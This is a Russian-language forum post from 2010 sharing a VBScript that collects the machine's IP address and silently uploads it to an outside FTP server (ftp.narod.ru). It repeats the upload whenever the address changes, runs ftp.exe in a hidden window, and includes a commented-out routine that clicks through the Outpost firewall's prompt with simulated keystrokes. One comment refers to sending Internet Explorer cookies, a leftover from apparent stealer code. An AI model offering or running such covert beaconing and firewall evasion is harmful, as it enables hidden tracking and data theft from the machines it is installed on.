
06.01.2010, 02:40
|
|
Постоянный
Регистрация: 13.11.2009
Сообщений: 437
Провел на форуме: 709575
Репутация:
17
|
|
VBS script.Выручал оч много раз
Код:
On Error Resume Next
newfolderpath = "C:\WEB" 'Папка где находится скрипт
login="фтп-логин"
password="фтп-пасс"
ftpp="ftp.narod.ru"
'================================================= ===
' Узнаем текущий IP и пишем его в файл
'================================================= ===
set objLocator = WScript.CreateObject("WbemScripting.SWbemLocator")
set objService = objLocator.ConnectServer (server, "", username, password)
strQuery = "Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE"
set objEnumerator = objService.ExecQuery(strQuery)
for each obj in objEnumerator
if Not IsNull(obj.IPAddress) then
for i=LBound(obj.IPAddress) to UBound(obj.IPAddress)
GetIPaddress = obj.IPAddress(i)
'Узнаем текущий (реальный) наш IP
Str = GetIPaddress
next
end if
next
FileDestination = "ip.txt"
Set FSO = CreateObject("Scripting.FileSystemObject")
Set Destination = FSO.CreateTextFile(FileDestination)
Destination.WriteLine Str
set Destination = Nothing
Set FSO = Nothing
set objLocator = Nothing
'================================================= ================================================== ============
'Отправляем на фтп текущий IP
'Отсылаем на ФТП на narod.ru
'Создаем файл сценария для FTP.EXE
set FSO = CreateObject("Scripting.FileSystemObject")
Set WSHshell = WScript.CreateObject("WScript.Shell")
Set sDir = WSHshell.Environment("Process") ' - находим путь к папке Windows
Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr") '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз)
cScript.WriteLine "Open " & ftpp & "" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту
cScript.WriteLine "" & login & "" '- Имя пользователя
cScript.WriteLine "" & password & "" '- Пароль
cScript.WriteLine "drive C:" '- Выбраем диск С
cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные
cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу
cScript.WriteLine "binary" ' - метод передачи файлов по FTP
cScript.WriteLine "PUT ip.txt"'- Отправляем IP
cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru
cScript.Close '- Конец записи в файл сценария
' Запускаем FTP-сценарий
WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0
' Обходим фаер (в данном случае Outpost, если надо, раскоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------)
'set w=CreateObject("WScript.Shell")
'a=0
'do
'r=W.AppActivate("ftp.exe")
'if r then
'a=1
'w.SendKeys "{tab 2}"
'w.SendKeys "{enter}"
'end if
'loop until a=1
'set w=Nothing
'---------------------------
Set fso = Nothing
Set WSHshell = Nothing
'================================================= ===
'А теперь запускаем цикл проверки на изменение IP
'================================================= ===
Const ForReading = 1
Str=1
s=2
if Str<>s then
While 1
WScript.Sleep 10000 ' Сканим на изменение IP раз в 15 минут
set objLocator = WScript.CreateObject("WbemScripting.SWbemLocator")
set objService = objLocator.ConnectServer (server, "", username, password)
strQuery = "Select IPAddress from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE"
set objEnumerator = objService.ExecQuery(strQuery)
for each obj in objEnumerator
if Not IsNull(obj.IPAddress) then
for i=LBound(obj.IPAddress) to UBound(obj.IPAddress)
GetIPaddress = obj.IPAddress(i)
'Узнаем текущий (реальный) наш IP
Str = GetIPaddress
next
end if
next
Set FSO = Nothing
set objLocator = Nothing
Set FSO = CreateObject("Scripting.FileSystemObject")
Set ts = FSO.OpenTextFile("ip.txt", ForReading)
s = ts.ReadLine
ts.Close
Set FSO = Nothing
Set ts = Nothing
if Str<>s then
FileDestination = "ip.txt"
Set FSO = CreateObject("Scripting.FileSystemObject")
Set Destination = FSO.CreateTextFile(FileDestination)
Destination.WriteLine Str
set Destination = Nothing
Set FSO = Nothing
'================================================= ================================================== ============
'Отправляем на фтп новый IP (уже в цикле, каждые 15 минут, в случае, если IP изменился)
'Отсылаем на ФТП на narod.ru
'Создаем файл сценария для FTP.EXE
set FSO = CreateObject("Scripting.FileSystemObject")
Set WSHshell = WScript.CreateObject("WScript.Shell")
Set sDir = WSHshell.Environment("Process") ' - находим путь к папке Windows
Set cScript = fso.CreateTextFile (sDir("windir") & "\FTp.scr") '-Обозначаем место, где будет создан и сохранен файл сценария (в данном случае - папочка виндовз)
cScript.WriteLine "Open " & ftpp & "" '- Открываем соединение с сайтом ftp.narod.ru на 21 порту
cScript.WriteLine "" & login & "" '- Имя пользователя
cScript.WriteLine "" & password & "" '- Пароль
cScript.WriteLine "drive C:" '- Выбраем диск С
cScript.WriteLine "lcd " & newfolderpath ' - Устанавливаем папку, откуда будем отсылать данные
cScript.WriteLine "prompt" ' - Отключаем всякий диалог по каждому файлу
cScript.WriteLine "binary" ' - метод передачи файлов по FTP
cScript.WriteLine "PUT ip.txt"'- Отправляем куки от IE
cScript.WriteLine "bye" '-разрываем соединение с ftp.narod.ru
cScript.Close '- Конец записи в файл сценария
' Запускаем FTP-сценарий
WSHshell.Run sDir("windir") & "\system32" & "\FTP.ExE -s:" & sDir("windir") & "\FTp.scr", 0
' Обходим фаер (в данном случае Outpost, если надо, раскоментируйте с помощью символа " ' " все строчки, что ниже, до '---------------------------)
'set w=CreateObject("WScript.Shell")
'a=0
'do
'r=W.AppActivate("ftp.exe")
'if r then
'a=1
'w.SendKeys "{tab 2}"
'w.SendKeys "{enter}"
'end if
'loop until a=1
'set w=Nothing
'---------------------------
Set fso = Nothing
Set WSHshell = Nothing
end if
Wend
end if
|
|
|